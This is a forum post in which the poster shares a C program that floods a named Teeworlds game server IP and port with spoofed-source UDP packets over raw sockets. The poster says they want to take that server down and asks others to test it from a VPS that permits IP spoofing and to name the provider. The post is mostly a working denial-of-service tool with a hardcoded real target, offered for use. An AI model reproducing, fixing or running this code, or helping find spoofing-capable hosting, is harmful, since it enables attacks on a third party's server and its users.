Hello.
I found this script for a game called Teeworlds and I want to use it to shut down 1 server (31.186.250.190:8301). It uses UDP flood and IP spoofing: rghost.net/8Gq22YJ9X
Here's the code (TwDoS.c):
Code
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#define TEEWORLDS_PACKET_SERVERBROWSE_GETINFO "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xffgie3\x05"
#define TPSG_SIZE 15
#define TARGET_SERVER_IP "31.186.250.190"
#define TARGET_SERVER_PORT 8301
struct pseudo_header
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t udp_length;
};
const char * rand_ip()
{
static char ip[32];
snprintf(ip, 32, "%d.%d.%d.%d", rand()%255+1, rand()%255+1, rand()%255+1, rand()%255+1);
return ip;
}
int main()
{
srand(time(NULL));
while(1)
{
int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(s == -1)
{
perror("socket()");
return -1;
}
char datagram[4096] , source_ip[32] , *data , *pseudogram;
memset (datagram, 0, 4096);
struct iphdr *iph = (struct iphdr *) datagram;
struct udphdr *udph = (struct udphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
data = datagram + sizeof(struct iphdr) + sizeof(struct udphdr);
memcpy(data, TEEWORLDS_PACKET_SERVERBROWSE_GETINFO, TPSG_SIZE);
strcpy(source_ip, rand_ip());
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr (TARGET_SERVER_IP);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct udphdr) + TPSG_SIZE;
iph->id = htonl (54321);
iph->frag_off = 0;
iph->ttl = 65;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr ( source_ip );
iph->daddr = sin.sin_addr.s_addr;
iph->check = 0;
udph->source = htons (777);
udph->dest = htons (TARGET_SERVER_PORT);
udph->len = htons(8 + TPSG_SIZE);
udph->check = 0;
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_UDP;
psh.udp_length = htons(sizeof(struct udphdr) + TPSG_SIZE );
int psize = sizeof(struct pseudo_header) + sizeof(struct udphdr) + TPSG_SIZE;
pseudogram = malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , udph , sizeof(struct udphdr) + TPSG_SIZE);
udph->check = 0;
if ( sendto (s, datagram, iph->tot_len , 0, (struct sockaddr *) &sin, sizeof (sin)) < 0 )
{
perror("sendto()");
return -1;
}
close(s);
}
return 0;
}
When I tested it on my local VMware machine, it just hanged my computer. But it should work on a VPS that supports IP spoofing.
So I'm asking somebody to test it on a VPS, and if it works, please tell me what VPS provider you are using.
Thanks for any help.